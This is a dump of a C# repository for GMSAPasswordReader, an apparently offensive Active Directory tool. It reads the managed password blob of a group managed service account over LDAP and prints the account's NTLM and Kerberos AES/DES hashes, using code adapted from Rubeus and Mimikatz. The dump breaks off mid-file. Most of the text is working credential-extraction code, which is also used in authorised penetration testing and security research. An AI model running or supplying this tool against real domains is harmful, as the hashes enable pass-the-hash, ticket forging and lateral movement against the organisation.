[
  {
    "path": ".gitignore",
    "content": "## Ignore Visual Studio temporary files, build results, and\n## files generated by popular Visual Studio add-ons.\n##\n## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore\n\n# User-specific files\n*.rsuser\n*.suo\n*.user\n*.userosscache\n*.sln.docstates\n\n# User-specific files (MonoDevelop/Xamarin Studio)\n*.userprefs\n\n# Mono auto generated files\nmono_crash.*\n\n# Build results\n[Dd]ebug/\n[Dd]ebugPublic/\n[Rr]elease/\n[Rr]eleases/\nx64/\nx86/\n[Aa][Rr][Mm]/\n[Aa][Rr][Mm]64/\nbld/\n[Bb]in/\n[Oo]bj/\n[Ll]og/\n[Ll]ogs/\n\n# Visual Studio 2015/2017 cache/options directory\n.vs/\n# Uncomment if you have tasks that create the project's static files in wwwroot\n#wwwroot/\n\n# Visual Studio 2017 auto generated files\nGenerated\\ Files/\n\n# MSTest test Results\n[Tt]est[Rr]esult*/\n[Bb]uild[Ll]og.*\n\n# NUnit\n*.VisualState.xml\nTestResult.xml\nnunit-*.xml\n\n# Build Results of an ATL Project\n[Dd]ebugPS/\n[Rr]eleasePS/\ndlldata.c\n\n# Benchmark Results\nBenchmarkDotNet.Artifacts/\n\n# .NET Core\nproject.lock.json\nproject.fragment.lock.json\nartifacts/\n\n# StyleCop\nStyleCopReport.xml\n\n# Files built by Visual Studio\n*_i.c\n*_p.c\n*_h.h\n*.ilk\n*.meta\n*.obj\n*.iobj\n*.pch\n*.pdb\n*.ipdb\n*.pgc\n*.pgd\n*.rsp\n*.sbr\n*.tlb\n*.tli\n*.tlh\n*.tmp\n*.tmp_proj\n*_wpftmp.csproj\n*.log\n*.vspscc\n*.vssscc\n.builds\n*.pidb\n*.svclog\n*.scc\n\n# Chutzpah Test files\n_Chutzpah*\n\n# Visual C++ cache files\nipch/\n*.aps\n*.ncb\n*.opendb\n*.opensdf\n*.sdf\n*.cachefile\n*.VC.db\n*.VC.VC.opendb\n\n# Visual Studio profiler\n*.psess\n*.vsp\n*.vspx\n*.sap\n\n# Visual Studio Trace Files\n*.e2e\n\n# TFS 2012 Local Workspace\n$tf/\n\n# Guidance Automation Toolkit\n*.gpState\n\n# ReSharper is a .NET coding add-in\n_ReSharper*/\n*.[Rr]e[Ss]harper\n*.DotSettings.user\n\n# TeamCity is a build add-in\n_TeamCity*\n\n# DotCover is a Code Coverage Tool\n*.dotCover\n\n# AxoCover is a Code Coverage Tool\n.axoCover/*\n!.axoCover/settings.json\n\n# Visual Studio code coverage results\n*.coverage\n*.coveragexml\n\n# NCrunch\n_NCrunch_*\n.*crunch*.local.xml\nnCrunchTemp_*\n\n# MightyMoose\n*.mm.*\nAutoTest.Net/\n\n# Web workbench (sass)\n.sass-cache/\n\n# Installshield output folder\n[Ee]xpress/\n\n# DocProject is a documentation generator add-in\nDocProject/buildhelp/\nDocProject/Help/*.HxT\nDocProject/Help/*.HxC\nDocProject/Help/*.hhc\nDocProject/Help/*.hhk\nDocProject/Help/*.hhp\nDocProject/Help/Html2\nDocProject/Help/html\n\n# Click-Once directory\npublish/\n\n# Publish Web Output\n*.[Pp]ublish.xml\n*.azurePubxml\n# Note: Comment the next line if you want to checkin your web deploy settings,\n# but database connection strings (with potential passwords) will be unencrypted\n*.pubxml\n*.publishproj\n\n# Microsoft Azure Web App publish settings. Comment the next line if you want to\n# checkin your Azure Web App publish settings, but sensitive information contained\n# in these scripts will be unencrypted\nPublishScripts/\n\n# NuGet Packages\n*.nupkg\n# NuGet Symbol Packages\n*.snupkg\n# The packages folder can be ignored because of Package Restore\n**/[Pp]ackages/*\n# except build/, which is used as an MSBuild target.\n!**/[Pp]ackages/build/\n# Uncomment if necessary however generally it will be regenerated when needed\n#!**/[Pp]ackages/repositories.config\n# NuGet v3's project.json files produces more ignorable files\n*.nuget.props\n*.nuget.targets\n\n# Microsoft Azure Build Output\ncsx/\n*.build.csdef\n\n# Microsoft Azure Emulator\necf/\nrcf/\n\n# Windows Store app package directories and files\nAppPackages/\nBundleArtifacts/\nPackage.StoreAssociation.xml\n_pkginfo.txt\n*.appx\n*.appxbundle\n*.appxupload\n\n# Visual Studio cache files\n# files ending in .cache can be ignored\n*.[Cc]ache\n# but keep track of directories ending in .cache\n!?*.[Cc]ache/\n\n# Others\nClientBin/\n~$*\n*~\n*.dbmdl\n*.dbproj.schemaview\n*.jfm\n*.pfx\n*.publishsettings\norleans.codegen.cs\n\n# Including strong name files can present a security risk\n# (https://github.com/github/gitignore/pull/2483#issue-259490424)\n#*.snk\n\n# Since there are multiple workflows, uncomment next line to ignore bower_components\n# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)\n#bower_components/\n\n# RIA/Silverlight projects\nGenerated_Code/\n\n# Backup & report files from converting an old project file\n# to a newer Visual Studio version. Backup files are not needed,\n# because we have git ;-)\n_UpgradeReport_Files/\nBackup*/\nUpgradeLog*.XML\nUpgradeLog*.htm\nServiceFabricBackup/\n*.rptproj.bak\n\n# SQL Server files\n*.mdf\n*.ldf\n*.ndf\n\n# Business Intelligence projects\n*.rdl.data\n*.bim.layout\n*.bim_*.settings\n*.rptproj.rsuser\n*- [Bb]ackup.rdl\n*- [Bb]ackup ([0-9]).rdl\n*- [Bb]ackup ([0-9][0-9]).rdl\n\n# Microsoft Fakes\nFakesAssemblies/\n\n# GhostDoc plugin setting file\n*.GhostDoc.xml\n\n# Node.js Tools for Visual Studio\n.ntvs_analysis.dat\nnode_modules/\n\n# Visual Studio 6 build log\n*.plg\n\n# Visual Studio 6 workspace options file\n*.opt\n\n# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)\n*.vbw\n\n# Visual Studio LightSwitch build output\n**/*.HTMLClient/GeneratedArtifacts\n**/*.DesktopClient/GeneratedArtifacts\n**/*.DesktopClient/ModelManifest.xml\n**/*.Server/GeneratedArtifacts\n**/*.Server/ModelManifest.xml\n_Pvt_Extensions\n\n# Paket dependency manager\n.paket/paket.exe\npaket-files/\n\n# FAKE - F# Make\n.fake/\n\n# CodeRush personal settings\n.cr/personal\n\n# Python Tools for Visual Studio (PTVS)\n__pycache__/\n*.pyc\n\n# Cake - Uncomment if you are using it\n# tools/**\n# !tools/packages.config\n\n# Tabs Studio\n*.tss\n\n# Telerik's JustMock configuration file\n*.jmconfig\n\n# BizTalk build output\n*.btp.cs\n*.btm.cs\n*.odx.cs\n*.xsd.cs\n\n# OpenCover UI analysis results\nOpenCover/\n\n# Azure Stream Analytics local run output\nASALocalRun/\n\n# MSBuild Binary and Structured Log\n*.binlog\n\n# NVidia Nsight GPU debugger configuration file\n*.nvuser\n\n# MFractors (Xamarin productivity tool) working folder\n.mfractor/\n\n# Local History for Visual Studio\n.localhistory/\n\n# BeatPulse healthcheck temp database\nhealthchecksdb\n\n# Backup folder for Package Reference Convert tool in Visual Studio 2017\nMigrationBackup/\n\n# Ionide (cross platform F# VS Code tools) working folder\n.ionide/\n"
  },
  {
    "path": "Extensions.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.ComponentModel;\nusing System.DirectoryServices.Protocols;\nusing System.Linq;\nusing System.Security.Cryptography;\nusing System.Text;\nusing System.Text.RegularExpressions;\nusing System.Threading.Tasks;\nusing System.Runtime.InteropServices;\n\nnamespace GMSAPasswordReader\n{\n    internal static class Extensions\n    {\n        public static byte[] GetPropertyAsBytes(this SearchResultEntry searchResultEntry, string property)\n        {\n            if (!searchResultEntry.Attributes.Contains(property))\n                return null;\n\n            var collection = searchResultEntry.Attributes[property];\n            var lookups = collection.GetValues(typeof(byte[]));\n            if (lookups.Length == 0)\n                return null;\n\n            if (!(lookups[0] is byte[] bytes) || bytes.Length == 0)\n                return null;\n\n            return bytes;\n        }\n\n        public static string GetProperty(this SearchResultEntry searchResultEntry, string property)\n        {\n            if (!searchResultEntry.Attributes.Contains(property))\n                return null;\n\n            var collection = searchResultEntry.Attributes[property];\n            var lookups = collection.GetValues(typeof(string));\n            if (lookups.Length == 0)\n                return null;\n\n            if (!(lookups[0] is string prop) || prop.Length == 0)\n                return null;\n\n            return prop;\n        }\n\n        /// <summary>\n        /// Taken from https://github.com/GhostPack/Rubeus/blob/master/Rubeus/lib/Crypto.cs#L50\n        /// </summary>\n        /// <param name=\"password\"></param>\n        /// <param name=\"userName\"></param>\n        /// <param name=\"domainName\"></param>\n        public static void ComputeAllKerberosPasswordHashes(string password, string userName = \"\", string domainName = \"\")\n        {\n            // use KerberosPasswordHash() to calculate rc4_hmac, aes128_cts_hmac_sha1, aes256_cts_hmac_sha1, and des_cbc_md5 hashes for a given password\n\n            if (string.IsNullOrEmpty(password))\n            {\n                return;\n            }\n            \n            var salt = $\"{domainName.ToUpper()}{userName}\";\n\n            if (!string.IsNullOrEmpty(userName) && !string.IsNullOrEmpty(domainName))\n            {\n                Console.WriteLine(\"[*] Input username             : {0}\", userName);\n                Console.WriteLine(\"[*] Input domain               : {0}\", domainName);\n                Console.WriteLine(\"[*] Salt                       : {0}\", salt);\n            }\n\n            var rc4Hash = KerberosPasswordHash(Interop.KERB_ETYPE.rc4_hmac, password);\n            Console.WriteLine(\"[*]       rc4_hmac             : {0}\", rc4Hash);\n\n            if (string.IsNullOrEmpty(userName) || string.IsNullOrEmpty(domainName))\n            {\n                Console.WriteLine(\"\\r\\n[!] /user:X and /domain:Y need to be supplied to calculate AES and DES hash types!\");\n            }\n            else\n            {\n                var aes128Hash = KerberosPasswordHash(Interop.KERB_ETYPE.aes128_cts_hmac_sha1, password, salt);\n                Console.WriteLine(\"[*]       aes128_cts_hmac_sha1 : {0}\", aes128Hash);\n\n                var aes256Hash = KerberosPasswordHash(Interop.KERB_ETYPE.aes256_cts_hmac_sha1, password, salt);\n                Console.WriteLine(\"[*]       aes256_cts_hmac_sha1 : {0}\", aes256Hash);\n\n                var desHash = KerberosPasswordHash(Interop.KERB_ETYPE.des_cbc_md5, $\"{password}{salt}\", salt);\n                Console.WriteLine(\"[*]       des_cbc_md5          : {0}\", desHash);\n            }\n\n            Console.WriteLine();\n        }\n\n        /// <summary>\n        /// Taken from https://github.com/GhostPack/Rubeus/blob/master/Rubeus/lib/Crypto.cs#L50\n        /// </summary>\n        /// <param name=\"etype\"></param>\n        /// <param name=\"password\"></param>\n        /// <param name=\"salt\"></param>\n        /// <param name=\"count\"></param>\n        /// <returns></returns>\n        public static string KerberosPasswordHash(Interop.KERB_ETYPE etype, string password, string salt = \"\", int count = 4096)\n        {\n            // use the internal KERB_ECRYPT HashPassword() function to calculate a password hash of a given etype\n            // adapted from @gentilkiwi's Mimikatz \"kerberos::hash\" implementation\n\n            Interop.KERB_ECRYPT pCSystem;\n            IntPtr pCSystemPtr;\n\n            // locate the crypto system for the hash type we want\n            int status = Interop.CDLocateCSystem(etype, out pCSystemPtr);\n\n            pCSystem = (Interop.KERB_ECRYPT)System.Runtime.InteropServices.Marshal.PtrToStructure(pCSystemPtr, typeof(Interop.KERB_ECRYPT));\n            if (status != 0)\n                throw new System.ComponentModel.Win32Exception(status, \"Error on CDLocateCSystem\");\n\n            // get the delegate for the password hash function\n            Interop.KERB_ECRYPT_HashPassword pCSystemHashPassword = (Interop.KERB_ECRYPT_HashPassword)System.Runtime.InteropServices.Marshal.GetDelegateForFunctionPointer(pCSystem.HashPassword, typeof(Interop.KERB_ECRYPT_HashPassword));\n            Interop.UNICODE_STRING passwordUnicode = new Interop.UNICODE_STRING(password);\n            Interop.UNICODE_STRING saltUnicode = new Interop.UNICODE_STRING(salt);\n\n            byte[] output = new byte[pCSystem.KeySize];\n\n            int success = pCSystemHashPassword(passwordUnicode, saltUnicode, count, output);\n\n            if (status != 0)\n                throw new Win32Exception(status);\n\n            return System.BitConverter.ToString(output).Replace(\"-\", \"\");\n        }\n    }\n\n}\n"
  },
  {
    "path": "FodyWeavers.xml",
    "content": "﻿<Weavers xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:noNamespaceSchemaLocation=\"FodyWeavers.xsd\">\n  <Costura />\n</Weavers>"
  },
  {
    "path": "FodyWeavers.xsd",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<xs:schema xmlns:xs=\"http://www.w3.org/2001/XMLSchema\">\n  <!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->\n  <xs:element name=\"Weavers\">\n    <xs:complexType>\n      <xs:all>\n        <xs:element name=\"Costura\" minOccurs=\"0\" maxOccurs=\"1\">\n          <xs:complexType>\n            <xs:all>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"ExcludeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with line breaks</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"IncludeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"PreloadOrder\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n            </xs:all>\n            <xs:attribute name=\"CreateTemporaryAssemblies\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeDebugSymbols\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"DisableCompression\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"DisableCleanup\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"LoadAtModuleInit\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IgnoreSatelliteAssemblies\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"ExcludeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with |</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"PreloadOrder\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n          </xs:complexType>\n        </xs:element>\n      </xs:all>\n      <xs:attribute name=\"VerifyAssembly\" type=\"xs:boolean\">\n        <xs:annotation>\n          <xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n      <xs:attribute name=\"VerifyIgnoreCodes\" type=\"xs:string\">\n        <xs:annotation>\n          <xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n      <xs:attribute name=\"GenerateXsd\" type=\"xs:boolean\">\n        <xs:annotation>\n          <xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n    </xs:complexType>\n  </xs:element>\n</xs:schema>"
  },
  {
    "path": "GMSA.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\nusing System.Threading.Tasks;\n\nnamespace GMSAPasswordReader\n{\n    internal class GMSA\n    {\n        public string AccountName { get; set; }\n        public string DomainName { get; set; }\n        public byte[] PasswordBlob { get; set; }\n\n    }\n}\n"
  },
  {
    "path": "GMSAPasswordReader.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <Import Project=\"packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props\" Condition=\"Exists('packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props')\" />\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\n  <PropertyGroup>\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\n    <ProjectGuid>{C8112750-972D-4EFA-A75B-DA9B8A4533C7}</ProjectGuid>\n    <OutputType>Exe</OutputType>\n    <RootNamespace>GMSAPasswordReader</RootNamespace>\n    <AssemblyName>GMSAPasswordReader</AssemblyName>\n    <TargetFrameworkVersion>v4.5.2</TargetFrameworkVersion>\n    <FileAlignment>512</FileAlignment>\n    <Deterministic>true</Deterministic>\n    <TargetFrameworkProfile />\n    <NuGetPackageImportStamp>\n    </NuGetPackageImportStamp>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\n    <PlatformTarget>AnyCPU</PlatformTarget>\n    <DebugSymbols>true</DebugSymbols>\n    <DebugType>full</DebugType>\n    <Optimize>false</Optimize>\n    <OutputPath>bin\\Debug\\</OutputPath>\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n    <Prefer32Bit>false</Prefer32Bit>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\n    <PlatformTarget>AnyCPU</PlatformTarget>\n    <DebugType>pdbonly</DebugType>\n    <Optimize>true</Optimize>\n    <OutputPath>bin\\Release\\</OutputPath>\n    <DefineConstants>TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n    <Prefer32Bit>false</Prefer32Bit>\n  </PropertyGroup>\n  <ItemGroup>\n    <Reference Include=\"CommandLine, Version=2.7.82.0, Culture=neutral, PublicKeyToken=5a870481e358d379, processorArchitecture=MSIL\">\n      <HintPath>packages\\CommandLineParser.2.7.82\\lib\\net45\\CommandLine.dll</HintPath>\n    </Reference>\n    <Reference Include=\"Costura, Version=4.1.0.0, Culture=neutral, PublicKeyToken=9919ef960d84173d, processorArchitecture=MSIL\">\n      <HintPath>packages\\Costura.Fody.4.1.0\\lib\\net40\\Costura.dll</HintPath>\n    </Reference>\n    <Reference Include=\"System\" />\n    <Reference Include=\"System.Core\" />\n    <Reference Include=\"System.DirectoryServices.Protocols\" />\n    <Reference Include=\"System.Xml.Linq\" />\n    <Reference Include=\"System.Data.DataSetExtensions\" />\n    <Reference Include=\"System.Data\" />\n    <Reference Include=\"System.Xml\" />\n  </ItemGroup>\n  <ItemGroup>\n    <Compile Include=\"GMSA.cs\" />\n    <Compile Include=\"GMSAReader.cs\" />\n    <Compile Include=\"Interop.cs\" />\n    <Compile Include=\"MsDsManagedPassword.cs\" />\n    <Compile Include=\"Options.cs\" />\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\n    <Compile Include=\"Extensions.cs\" />\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"app.config\" />\n    <None Include=\"packages.config\" />\n  </ItemGroup>\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\n  <Import Project=\"packages\\Fody.6.0.0\\build\\Fody.targets\" Condition=\"Exists('packages\\Fody.6.0.0\\build\\Fody.targets')\" />\n  <Target Name=\"EnsureNuGetPackageBuildImports\" BeforeTargets=\"PrepareForBuild\">\n    <PropertyGroup>\n      <ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them.  For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>\n    </PropertyGroup>\n    <Error Condition=\"!Exists('packages\\Fody.6.0.0\\build\\Fody.targets')\" Text=\"$([System.String]::Format('$(ErrorText)', 'packages\\Fody.6.0.0\\build\\Fody.targets'))\" />\n    <Error Condition=\"!Exists('packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props')\" Text=\"$([System.String]::Format('$(ErrorText)', 'packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props'))\" />\n  </Target>\n</Project>"
  },
  {
    "path": "GMSAPasswordReader.sln",
    "content": "﻿\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio Version 16\nVisualStudioVersion = 16.0.29503.13\nMinimumVisualStudioVersion = 10.0.40219.1\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"GMSAPasswordReader\", \"GMSAPasswordReader.csproj\", \"{C8112750-972D-4EFA-A75B-DA9B8A4533C7}\"\nEndProject\nGlobal\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\n\t\tDebug|Any CPU = Debug|Any CPU\n\t\tRelease|Any CPU = Release|Any CPU\n\tEndGlobalSection\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\n\t\t{C8112750-972D-4EFA-A75B-DA9B8A4533C7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\n\t\t{C8112750-972D-4EFA-A75B-DA9B8A4533C7}.Debug|Any CPU.Build.0 = Debug|Any CPU\n\t\t{C8112750-972D-4EFA-A75B-DA9B8A4533C7}.Release|Any CPU.ActiveCfg = Release|Any CPU\n\t\t{C8112750-972D-4EFA-A75B-DA9B8A4533C7}.Release|Any CPU.Build.0 = Release|Any CPU\n\tEndGlobalSection\n\tGlobalSection(SolutionProperties) = preSolution\n\t\tHideSolutionNode = FALSE\n\tEndGlobalSection\n\tGlobalSection(ExtensibilityGlobals) = postSolution\n\t\tSolutionGuid = {07D1ED5C-C5DB-433F-BFBE-28D0C12AC4DD}\n\tEndGlobalSection\nEndGlobal\n"
  },
  {
    "path": "GMSAReader.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.DirectoryServices.Protocols;\nusing System.IO;\nusing System.Linq;\nusing System.Runtime.InteropServices;\nusing System.Runtime.Remoting.Messaging;\nusing System.Security.Cryptography;\nusing System.Text;\nusing System.Text.RegularExpressions;\nusing System.Threading;\nusing CommandLine;\n\nnamespace GMSAPasswordReader\n{\n    internal class GMSAReader\n    {\n        private static readonly Regex DCReplaceRegex = new Regex(\"DC=\", RegexOptions.IgnoreCase | RegexOptions.Compiled);\n\n        static void Main(string[] args)\n        {\n            Options options = null;\n\n            var parser = new Parser(with =>\n            {\n                with.CaseSensitive = false;\n                with.HelpWriter = Console.Error;\n            });\n\n            parser.ParseArguments<Options>(args)\n                .WithParsed<Options>(o => { options = o; });\n\n            parser.Dispose();\n\n            if (options == null)\n                return;\n\n            string domainName = null, target = null;\n\n            if (options.DomainName == null)\n            {\n                domainName = GetDomainName(options.DomainName);\n            }\n\t    else \n\t    {\n                domainName = options.DomainName;\n\t    }\n\n            target = options.DomainController ?? domainName;\n\n            domainName = $\"DC={domainName.Replace(\".\", \",DC=\")}\";\n\n            \n\n            var gmsa = SearchLdap(options.AccountName, domainName, target, options.LdapPort);\n            if (gmsa == null)\n            {\n                Console.WriteLine(\"Unable to retrieve password blob. Check permissions/account name\");\n                return;\n            }\n\n            var managedPassword = new MsDsManagedPassword(gmsa.PasswordBlob);\n\n            if (managedPassword.OldPassword != null)\n            {\n                Console.WriteLine(\"Calculating hashes for Old Value\");\n                Extensions.ComputeAllKerberosPasswordHashes(managedPassword.OldPassword, gmsa.AccountName, gmsa.DomainName);\n            }\n            \n            Console.WriteLine(\"Calculating hashes for Current Value\");\n            Extensions.ComputeAllKerberosPasswordHashes(managedPassword.CurrentPassword, gmsa.AccountName, gmsa.DomainName);\n\n        }\n\n        private static string CreateNTLMHash(string password)\n        {\n            if (password == null)\n                return null;\n\n            var hash = Extensions.KerberosPasswordHash(Interop.KERB_ETYPE.rc4_hmac, password);\n            return hash;\n        }\n\n        private static string GetDomainName(string domain)\n        {\n            var result = DsGetDcName(null, domain, null, null, DSGETDCNAME_FLAGS.DS_DIRECTORY_SERVICE_REQUIRED | DSGETDCNAME_FLAGS.DS_RETURN_DNS_NAME,\n                out var pDCI);\n\n            try\n            {\n                if (result == 0)\n                {\n                    var dci = Marshal.PtrToStructure<DOMAIN_CONTROLLER_INFO>(pDCI);\n                    var domainName = dci.DomainName;\n                    return domainName;\n                }\n                else\n                {\n                    return Environment.UserDomainName;\n                }\n            }\n            finally\n            {\n                if (pDCI != IntPtr.Zero)\n                    NetApiBufferFree(pDCI);\n            }\n            \n        }\n\n        private static string ConvertDNToDomain(string distinguishedName)\n        {\n            var temp = distinguishedName.Substring(distinguishedName.IndexOf(\"DC=\",\n                StringComparison.CurrentCultureIgnoreCase));\n            temp = DCReplaceRegex.Replace(temp, \"\").Replace(\",\", \".\").ToUpper();\n            return temp;\n        }\n\n        private static GMSA SearchLdap(string accountName, string domainName, string target, int port)\n        {\n            var identifier = new LdapDirectoryIdentifier(target, port, false, false);\n            var connection = new LdapConnection(identifier) {AuthType = AuthType.Negotiate};\n\n            var cso = connection.SessionOptions;\n\n            //Necessary to get password blobs back\n            cso.Signing = true;\n            cso.Sealing = true;\n            cso.RootDseCache = true;\n\n            var filter = $\"(&(|(sAMAccountName={accountName}$)(sAMAccountName={accountName}))(msds-groupmsamembership=*))\";\n            var searchRequest = new SearchRequest(domainName, filter, SearchScope.Subtree, \"sAMAccountName\", \"msDS-ManagedPassword\");\n            try\n            {\n                var searchResponse = (SearchResponse)connection.SendRequest(searchRequest);\n\n                var entries = searchResponse?.Entries;\n                if (entries == null || entries.Count == 0)\n                {\n                    Console.WriteLine(\"GMSA Account Not Found!\");\n                    return null;\n                }\n\n                foreach (SearchResultEntry entry in searchResponse.Entries)\n                {\n                    var passwordBlob = entry.GetPropertyAsBytes(\"msDS-ManagedPassword\");\n                    if (passwordBlob != null)\n                    {\n                        var newDomainName = ConvertDNToDomain(entry.DistinguishedName);\n                        var newAccountName = entry.GetProperty(\"samaccountname\");\n                        return new GMSA\n                        {\n                            AccountName = newAccountName,\n                            DomainName = newDomainName,\n                            PasswordBlob = passwordBlob\n                        };\n                    }\n                }\n\n                //We didn't get a password blob\n                Console.WriteLine(\"Unable to get a password blob, maybe not enough permissions?\");\n                return null;\n            }\n            finally\n            {\n                connection.Dispose();\n            }\n        }\n\n\n        [DllImport(\"Netapi32.dll\", CharSet = CharSet.Auto, SetLastError = true)]\n        static extern int DsGetDcName\n        (\n            [MarshalAs(UnmanagedType.LPTStr)]\n            string ComputerName,\n            [MarshalAs(UnmanagedType.LPTStr)]\n            string DomainName,\n            [In] GuidClass DomainGuid,\n            [MarshalAs(UnmanagedType.LPTStr)]\n            string SiteName,\n            DSGETDCNAME_FLAGS Flags,\n            out IntPtr pDOMAIN_CONTROLLER_INFO\n        );\n\n        [StructLayout(LayoutKind.Sequential)]\n        public class GuidClass\n        {\n            public Guid TheGuid;\n        }\n\n        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\n        struct DOMAIN_CONTROLLER_INFO\n        {\n            [MarshalAs(UnmanagedType.LPTStr)]\n            public string DomainControllerName;\n            [MarshalAs(UnmanagedType.LPTStr)]\n            public string DomainControllerAddress;\n            public uint DomainControllerAddressType;\n            public Guid DomainGuid;\n            [MarshalAs(UnmanagedType.LPTStr)]\n            public string DomainName;\n            [MarshalAs(UnmanagedType.LPTStr)]\n            public string DnsForestName;\n            public uint Flags;\n            [MarshalAs(UnmanagedType.LPTStr)]\n            public string DcSiteName;\n            [MarshalAs(UnmanagedType.LPTStr)]\n            public string ClientSiteName;\n        }\n\n\n        [Flags]\n        public enum DSGETDCNAME_FLAGS : uint\n        {\n            